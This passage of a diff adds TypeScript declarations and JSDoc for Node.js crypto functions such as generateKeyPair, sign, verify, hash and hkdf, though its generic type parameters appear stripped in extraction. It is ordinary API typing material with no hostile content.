} + interface RSAPSSKeyPairKeyObjectOptions { + /** + * Key size in bits + */ + modulusLength: number; + /** + * Public exponent + * @default 0x10001 + */ + publicExponent?: number | undefined; + /** + * Name of the message digest + */ + hashAlgorithm?: string; + /** + * Name of the message digest used by MGF1 + */ + mgf1HashAlgorithm?: string; + /** + * Minimal salt length in bytes + */ + saltLength?: string; + } + interface DSAKeyPairKeyObjectOptions { + /** + * Key size in bits + */ + modulusLength: number; + /** + * Size of q in bits + */ + divisorLength: number; + } + interface RSAKeyPairOptions { + /** + * Key size in bits + */ + modulusLength: number; + /** + * Public exponent + * @default 0x10001 + */ + publicExponent?: number | undefined; + publicKeyEncoding: { + type: "pkcs1" | "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs1" | "pkcs8"; + }; + } + interface RSAPSSKeyPairOptions { + /** + * Key size in bits + */ + modulusLength: number; + /** + * Public exponent + * @default 0x10001 + */ + publicExponent?: number | undefined; + /** + * Name of the message digest + */ + hashAlgorithm?: string; + /** + * Name of the message digest used by MGF1 + */ + mgf1HashAlgorithm?: string; + /** + * Minimal salt length in bytes + */ + saltLength?: string; + publicKeyEncoding: { + type: "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs8"; + }; + } + interface DSAKeyPairOptions { + /** + * Key size in bits + */ + modulusLength: number; + /** + * Size of q in bits + */ + divisorLength: number; + publicKeyEncoding: { + type: "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs8"; + }; + } + interface ECKeyPairOptions extends ECKeyPairKeyObjectOptions { + publicKeyEncoding: { + type: "pkcs1" | "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "sec1" | "pkcs8"; + }; + } + interface ED25519KeyPairOptions { + publicKeyEncoding: { + type: "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs8"; + }; + } + interface ED448KeyPairOptions { + publicKeyEncoding: { + type: "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs8"; + }; + } + interface X25519KeyPairOptions { + publicKeyEncoding: { + type: "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs8"; + }; + } + interface X448KeyPairOptions { + publicKeyEncoding: { + type: "spki"; + format: PubF; + }; + privateKeyEncoding: BasePrivateKeyEncodingOptions & { + type: "pkcs8"; + }; + } + interface KeyPairSyncResult { + publicKey: T1; + privateKey: T2; + } + /** + * Generates a new asymmetric key pair of the given `type`. RSA, RSA-PSS, DSA, EC, + * Ed25519, Ed448, X25519, X448, and DH are currently supported. + * + * If a `publicKeyEncoding` or `privateKeyEncoding` was specified, this function + * behaves as if `keyObject.export()` had been called on its result. Otherwise, + * the respective part of the key is returned as a `KeyObject`. + * + * When encoding public keys, it is recommended to use `'spki'`. When encoding + * private keys, it is recommended to use `'pkcs8'` with a strong passphrase, + * and to keep the passphrase confidential. + * + * ```js + * const { + * generateKeyPairSync, + * } = await import('node:crypto'); + * + * const { + * publicKey, + * privateKey, + * } = generateKeyPairSync('rsa', { + * modulusLength: 4096, + * publicKeyEncoding: { + * type: 'spki', + * format: 'pem', + * }, + * privateKeyEncoding: { + * type: 'pkcs8', + * format: 'pem', + * cipher: 'aes-256-cbc', + * passphrase: 'top secret', + * }, + * }); + * ``` + * + * The return value `{ publicKey, privateKey }` represents the generated key pair. + * When PEM encoding was selected, the respective key will be a string, otherwise + * it will be a buffer containing the data encoded as DER. + * @since v10.12.0 + * @param type Must be `'rsa'`, `'rsa-pss'`, `'dsa'`, `'ec'`, `'ed25519'`, `'ed448'`, `'x25519'`, `'x448'`, or `'dh'`. + */ + function generateKeyPairSync( + type: "rsa", + options: RSAKeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "rsa", + options: RSAKeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "rsa", + options: RSAKeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "rsa", + options: RSAKeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "rsa", options: RSAKeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "rsa-pss", options: RSAPSSKeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "dsa", + options: DSAKeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "dsa", + options: DSAKeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "dsa", + options: DSAKeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "dsa", + options: DSAKeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "dsa", options: DSAKeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "ec", + options: ECKeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ec", + options: ECKeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ec", + options: ECKeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ec", + options: ECKeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "ec", options: ECKeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "ed25519", + options: ED25519KeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ed25519", + options: ED25519KeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ed25519", + options: ED25519KeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ed25519", + options: ED25519KeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "ed25519", options?: ED25519KeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "ed448", + options: ED448KeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ed448", + options: ED448KeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ed448", + options: ED448KeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "ed448", + options: ED448KeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "ed448", options?: ED448KeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "x25519", + options: X25519KeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "x25519", + options: X25519KeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "x25519", + options: X25519KeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "x25519", + options: X25519KeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "x25519", options?: X25519KeyPairKeyObjectOptions): KeyPairKeyObjectResult; + function generateKeyPairSync( + type: "x448", + options: X448KeyPairOptions<"pem", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "x448", + options: X448KeyPairOptions<"pem", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "x448", + options: X448KeyPairOptions<"der", "pem">, + ): KeyPairSyncResult; + function generateKeyPairSync( + type: "x448", + options: X448KeyPairOptions<"der", "der">, + ): KeyPairSyncResult; + function generateKeyPairSync(type: "x448", options?: X448KeyPairKeyObjectOptions): KeyPairKeyObjectResult; + /** + * Generates a new asymmetric key pair of the given `type`. RSA, RSA-PSS, DSA, EC, + * Ed25519, Ed448, X25519, X448, and DH are currently supported. + * + * If a `publicKeyEncoding` or `privateKeyEncoding` was specified, this function + * behaves as if `keyObject.export()` had been called on its result. Otherwise, + * the respective part of the key is returned as a `KeyObject`. + * + * It is recommended to encode public keys as `'spki'` and private keys as `'pkcs8'` with encryption for long-term storage: + * + * ```js + * const { + * generateKeyPair, + * } = await import('node:crypto'); + * + * generateKeyPair('rsa', { + * modulusLength: 4096, + * publicKeyEncoding: { + * type: 'spki', + * format: 'pem', + * }, + * privateKeyEncoding: { + * type: 'pkcs8', + * format: 'pem', + * cipher: 'aes-256-cbc', + * passphrase: 'top secret', + * }, + * }, (err, publicKey, privateKey) => { + * // Handle errors and use the generated key pair. + * }); + * ``` + * + * On completion, `callback` will be called with `err` set to `undefined` and `publicKey` / `privateKey` representing the generated key pair. + * + * If this method is invoked as its `util.promisify()` ed version, it returns + * a `Promise` for an `Object` with `publicKey` and `privateKey` properties. + * @since v10.12.0 + * @param type Must be `'rsa'`, `'rsa-pss'`, `'dsa'`, `'ec'`, `'ed25519'`, `'ed448'`, `'x25519'`, `'x448'`, or `'dh'`. + */ + function generateKeyPair( + type: "rsa", + options: RSAKeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "rsa", + options: RSAKeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "rsa", + options: RSAKeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "rsa", + options: RSAKeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "rsa", + options: RSAKeyPairKeyObjectOptions, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "rsa-pss", + options: RSAPSSKeyPairKeyObjectOptions, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "dsa", + options: DSAKeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "dsa", + options: DSAKeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "dsa", + options: DSAKeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "dsa", + options: DSAKeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "dsa", + options: DSAKeyPairKeyObjectOptions, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "ec", + options: ECKeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "ec", + options: ECKeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "ec", + options: ECKeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "ec", + options: ECKeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "ec", + options: ECKeyPairKeyObjectOptions, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "ed25519", + options: ED25519KeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "ed25519", + options: ED25519KeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "ed25519", + options: ED25519KeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "ed25519", + options: ED25519KeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "ed25519", + options: ED25519KeyPairKeyObjectOptions | undefined, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "ed448", + options: ED448KeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "ed448", + options: ED448KeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "ed448", + options: ED448KeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "ed448", + options: ED448KeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "ed448", + options: ED448KeyPairKeyObjectOptions | undefined, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "x25519", + options: X25519KeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "x25519", + options: X25519KeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "x25519", + options: X25519KeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "x25519", + options: X25519KeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "x25519", + options: X25519KeyPairKeyObjectOptions | undefined, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + function generateKeyPair( + type: "x448", + options: X448KeyPairOptions<"pem", "pem">, + callback: (err: Error | null, publicKey: string, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "x448", + options: X448KeyPairOptions<"pem", "der">, + callback: (err: Error | null, publicKey: string, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "x448", + options: X448KeyPairOptions<"der", "pem">, + callback: (err: Error | null, publicKey: Buffer, privateKey: string) => void, + ): void; + function generateKeyPair( + type: "x448", + options: X448KeyPairOptions<"der", "der">, + callback: (err: Error | null, publicKey: Buffer, privateKey: Buffer) => void, + ): void; + function generateKeyPair( + type: "x448", + options: X448KeyPairKeyObjectOptions | undefined, + callback: (err: Error | null, publicKey: KeyObject, privateKey: KeyObject) => void, + ): void; + namespace generateKeyPair { + function __promisify__( + type: "rsa", + options: RSAKeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "rsa", + options: RSAKeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "rsa", + options: RSAKeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "rsa", + options: RSAKeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__(type: "rsa", options: RSAKeyPairKeyObjectOptions): Promise; + function __promisify__( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "rsa-pss", + options: RSAPSSKeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__( + type: "rsa-pss", + options: RSAPSSKeyPairKeyObjectOptions, + ): Promise; + function __promisify__( + type: "dsa", + options: DSAKeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "dsa", + options: DSAKeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "dsa", + options: DSAKeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "dsa", + options: DSAKeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__(type: "dsa", options: DSAKeyPairKeyObjectOptions): Promise; + function __promisify__( + type: "ec", + options: ECKeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "ec", + options: ECKeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "ec", + options: ECKeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "ec", + options: ECKeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__(type: "ec", options: ECKeyPairKeyObjectOptions): Promise; + function __promisify__( + type: "ed25519", + options: ED25519KeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "ed25519", + options: ED25519KeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "ed25519", + options: ED25519KeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "ed25519", + options: ED25519KeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__( + type: "ed25519", + options?: ED25519KeyPairKeyObjectOptions, + ): Promise; + function __promisify__( + type: "ed448", + options: ED448KeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "ed448", + options: ED448KeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "ed448", + options: ED448KeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "ed448", + options: ED448KeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__(type: "ed448", options?: ED448KeyPairKeyObjectOptions): Promise; + function __promisify__( + type: "x25519", + options: X25519KeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "x25519", + options: X25519KeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "x25519", + options: X25519KeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "x25519", + options: X25519KeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__( + type: "x25519", + options?: X25519KeyPairKeyObjectOptions, + ): Promise; + function __promisify__( + type: "x448", + options: X448KeyPairOptions<"pem", "pem">, + ): Promise<{ + publicKey: string; + privateKey: string; + }>; + function __promisify__( + type: "x448", + options: X448KeyPairOptions<"pem", "der">, + ): Promise<{ + publicKey: string; + privateKey: Buffer; + }>; + function __promisify__( + type: "x448", + options: X448KeyPairOptions<"der", "pem">, + ): Promise<{ + publicKey: Buffer; + privateKey: string; + }>; + function __promisify__( + type: "x448", + options: X448KeyPairOptions<"der", "der">, + ): Promise<{ + publicKey: Buffer; + privateKey: Buffer; + }>; + function __promisify__(type: "x448", options?: X448KeyPairKeyObjectOptions): Promise; + } + /** + * Calculates and returns the signature for `data` using the given private key and + * algorithm. If `algorithm` is `null` or `undefined`, then the algorithm is + * dependent upon the key type (especially Ed25519 and Ed448). + * + * If `key` is not a `KeyObject`, this function behaves as if `key` had been + * passed to {@link createPrivateKey}. If it is an object, the following + * additional properties can be passed: + * + * If the `callback` function is provided this function uses libuv's threadpool. + * @since v12.0.0 + */ + function sign( + algorithm: string | null | undefined, + data: NodeJS.ArrayBufferView, + key: KeyLike | SignKeyObjectInput | SignPrivateKeyInput | SignJsonWebKeyInput, + ): Buffer; + function sign( + algorithm: string | null | undefined, + data: NodeJS.ArrayBufferView, + key: KeyLike | SignKeyObjectInput | SignPrivateKeyInput | SignJsonWebKeyInput, + callback: (error: Error | null, data: Buffer) => void, + ): void; + /** + * Verifies the given signature for `data` using the given key and algorithm. If `algorithm` is `null` or `undefined`, then the algorithm is dependent upon the + * key type (especially Ed25519 and Ed448). + * + * If `key` is not a `KeyObject`, this function behaves as if `key` had been + * passed to {@link createPublicKey}. If it is an object, the following + * additional properties can be passed: + * + * The `signature` argument is the previously calculated signature for the `data`. + * + * Because public keys can be derived from private keys, a private key or a public + * key may be passed for `key`. + * + * If the `callback` function is provided this function uses libuv's threadpool. + * @since v12.0.0 + */ + function verify( + algorithm: string | null | undefined, + data: NodeJS.ArrayBufferView, + key: KeyLike | VerifyKeyObjectInput | VerifyPublicKeyInput | VerifyJsonWebKeyInput, + signature: NodeJS.ArrayBufferView, + ): boolean; + function verify( + algorithm: string | null | undefined, + data: NodeJS.ArrayBufferView, + key: KeyLike | VerifyKeyObjectInput | VerifyPublicKeyInput | VerifyJsonWebKeyInput, + signature: NodeJS.ArrayBufferView, + callback: (error: Error | null, result: boolean) => void, + ): void; + /** + * Computes the Diffie-Hellman secret based on a `privateKey` and a `publicKey`. + * Both keys must have the same `asymmetricKeyType`, which must be one of `'dh'` (for Diffie-Hellman), `'ec'` (for ECDH), `'x448'`, or `'x25519'` (for ECDH-ES). + * @since v13.9.0, v12.17.0 + */ + function diffieHellman(options: { privateKey: KeyObject; publicKey: KeyObject }): Buffer; + /** + * A utility for creating one-shot hash digests of data. It can be faster than the object-based `crypto.createHash()` when hashing a smaller amount of data + * (<= 5MB) that's readily available. If the data can be big or if it is streamed, it's still recommended to use `crypto.createHash()` instead. The `algorithm` + * is dependent on the available algorithms supported by the version of OpenSSL on the platform. Examples are `'sha256'`, `'sha512'`, etc. On recent releases + * of OpenSSL, `openssl list -digest-algorithms` will display the available digest algorithms. + * + * Example: + * + * ```js + * import crypto from 'node:crypto'; + * import { Buffer } from 'node:buffer'; + * + * // Hashing a string and return the result as a hex-encoded string. + * const string = 'Node.js'; + * // 10b3493287f831e81a438811a1ffba01f8cec4b7 + * console.log(crypto.hash('sha1', string)); + * + * // Encode a base64-encoded string into a Buffer, hash it and return + * // the result as a buffer. + * const base64 = 'Tm9kZS5qcw=='; + * // + * console.log(crypto.hash('sha1', Buffer.from(base64, 'base64'), 'buffer')); + * ``` + * @since v21.7.0, v20.12.0 + * @param data When `data` is a string, it will be encoded as UTF-8 before being hashed. If a different input encoding is desired for a string input, user + * could encode the string into a `TypedArray` using either `TextEncoder` or `Buffer.from()` and passing the encoded `TypedArray` into this API instead. + * @param [outputEncoding='hex'] [Encoding](https://nodejs.org/docs/latest-v22.x/api/buffer.html#buffers-and-character-encodings) used to encode the returned digest. + */ + function hash(algorithm: string, data: BinaryLike, outputEncoding?: BinaryToTextEncoding): string; + function hash(algorithm: string, data: BinaryLike, outputEncoding: "buffer"): Buffer; + function hash( + algorithm: string, + data: BinaryLike, + outputEncoding?: BinaryToTextEncoding | "buffer", + ): string | Buffer; + type CipherMode = "cbc" | "ccm" | "cfb" | "ctr" | "ecb" | "gcm" | "ocb" | "ofb" | "stream" | "wrap" | "xts"; + interface CipherInfoOptions { + /** + * A test key length. + */ + keyLength?: number | undefined; + /** + * A test IV length. + */ + ivLength?: number | undefined; + } + interface CipherInfo { + /** + * The name of the cipher. + */ + name: string; + /** + * The nid of the cipher. + */ + nid: number; + /** + * The block size of the cipher in bytes. + * This property is omitted when mode is 'stream'. + */ + blockSize?: number | undefined; + /** + * The expected or default initialization vector length in bytes. + * This property is omitted if the cipher does not use an initialization vector. + */ + ivLength?: number | undefined; + /** + * The expected or default key length in bytes. + */ + keyLength: number; + /** + * The cipher mode. + */ + mode: CipherMode; + } + /** + * Returns information about a given cipher. + * + * Some ciphers accept variable length keys and initialization vectors. By default, + * the `crypto.getCipherInfo()` method will return the default values for these + * ciphers. To test if a given key length or iv length is acceptable for given + * cipher, use the `keyLength` and `ivLength` options. If the given values are + * unacceptable, `undefined` will be returned. + * @since v15.0.0 + * @param nameOrNid The name or nid of the cipher to query. + */ + function getCipherInfo(nameOrNid: string | number, options?: CipherInfoOptions): CipherInfo | undefined; + /** + * HKDF is a simple key derivation function defined in RFC 5869\. The given `ikm`, `salt` and `info` are used with the `digest` to derive a key of `keylen` bytes. + * + * The supplied `callback` function is called with two arguments: `err` and `derivedKey`. If an errors occurs while deriving the key, `err` will be set; + * otherwise `err` will be `null`. The successfully generated `derivedKey` will + * be passed to the callback as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer). An error will be thrown if any + * of the input arguments specify invalid values or types. + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { + * hkdf, + * } = await import('node:crypto'); + * + * hkdf('sha512', 'key', 'salt', 'info', 64, (err, derivedKey) => { + * if (err) throw err; + * console.log(Buffer.from(derivedKey).toString('hex')); // '24156e2...5391653' + * }); + * ``` + * @since v15.0.0 + * @param digest The digest algorithm to use. + * @param ikm The input keying material. Must be provided but can be zero-length. + * @param salt The salt value. Must be provided but can be zero-length. + * @param info Additional info value. Must be provided but can be zero-length, and cannot be more than 1024 bytes. + * @param keylen The length of the key to generate. Must be greater than 0. The maximum allowable value is `255` times the number of bytes produced by the selected digest function (e.g. `sha512` + * generates 64-byte hashes, making the maximum HKDF output 16320 bytes). + */ + function hkdf( + digest: string, + irm: BinaryLike | KeyObject, + salt: BinaryLike, + info: BinaryLike, + keylen: number, + callback: (err: Error | null, derivedKey: ArrayBuffer) => void, + ): void; + /** + * Provides a synchronous HKDF key derivation function as defined in RFC 5869\. The + * given `ikm`, `salt` and `info` are used with the `digest` to derive a key of `keylen` bytes. + * + * The successfully generated `derivedKey` will be returned as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer). + * + * An error will be thrown if any of the input arguments specify invalid values or + * types, or if the derived key cannot be generated. + * + * ```js + * import { Buffer } from 'node:buffer'; + * const { + * hkdfSync, + * } = await import('node:crypto'); + * + * const derivedKey = hkdfSync('sha512', 'key', 'salt', 'info', 64); + * console.log(Buffer.from(derivedKey).toString('hex')); // '24156e2...5391653' + * ``` + * @since v15.0.0 + * @param digest The digest algorithm to use. + * @param ikm The input keying material. Must be provided but can be zero-length. + * @param salt The salt value. Must be provided but can be zero-length. + * @param info Additional info value. Must be provided but can be zero-length, and cannot be more than 1024 bytes. + * @param keylen The length of the key to generate. Must be greater than 0. The maximum allowable value is `255` times the number of bytes produced by the selected digest function (e.g. `sha512` + * generates 64-byte hashes, making the maximum HKDF output 16320 bytes). + */ + function hkdfSync( + digest: string, + ikm: BinaryLike | KeyObject, + salt: BinaryLike, + info: BinaryLike, + keylen: number, + ): ArrayBuffer; + interface SecureHeapUsage { + /** + * The total allocated secure heap size as specified using the `--secure-heap=n` command-line flag. + */ + total: number; + /** + * The minimum allocation from the secure heap as specified using the `--secure-heap-min` command-line flag. + */ + min: number; + /** + * The total number of bytes currently allocated from the secure heap. + */ + used: number; + /** + * The calculated ratio of `used` to `total` allocated bytes. + */ + utilization: number; + } + /** + * @since v15.6.0 + */ + function secureHeapUsed(): SecureHeapUsage; + interface RandomUUIDOptions { + /** + * By default, to improve performance, + * Node.js will pre-emptively generate and persistently cache enough + * random data to generate up to 128 random UUIDs. To generate a UUID + * without using the cache, set `disableEntropyCache` to `true`. + * + * @default `false` + */ + disableEntropyCache?: boolean | undefined; + } + type UUID = `${string}-${string}-${string}-${string}-${string}`; + /** + * Generates a random [RFC 4122](https://www.rfc-editor.org/rfc/rfc4122.txt) version 4 UUID. The UUID is generated using a + * cryptographic pseudorandom number generator. + * @since v15.6.0, v14.17.0 + */ + function randomUUID(options?: RandomUUIDOptions): UUID; + interface X509CheckOptions { + /** + * @default 'always' + */ + subject?: "always" | "default" | "never"; + /** + * @default true + */ + wildcards?: boolean; + /** + * @default true + */ + partialWildcards?: boolean; + /** + * @default false + */ + 